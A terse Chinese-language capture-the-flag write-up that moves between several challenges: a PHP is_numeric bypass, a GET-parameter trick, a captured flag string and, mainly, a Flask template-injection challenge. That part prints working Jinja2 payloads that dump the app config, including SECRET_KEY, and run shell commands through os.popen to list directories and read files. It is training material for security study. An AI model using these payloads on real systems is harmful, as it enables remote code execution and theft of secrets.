Flask:一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。我们经常设置一个secret_key变量,所以我们要读取secret_key变量,导出所有config变量,其中就包括SECRET_KEY,需要在题目url后面添加/?flag={{config.items()}}
当what以GET形式接受到flag参数时,输出FLAG
则在url后加?what=flag即可得到flag直接查看源代码,is_numeric($num))检测是不是为数字,只要后面跟着的不是数字而是字符串就行了,1+一个字符串即可
Unicode编码
flag{b98c4107dd8ef3c8d77042bdb9d57517}
打开后,题目提示存在模板注入
先进行ls查看一下存在的文件。
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}1
发现存在一些文件夹,进行一个个进入查看,运气很好,第一个看的app文件夹里就有flag
因为没有过滤直接cat ../app/flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}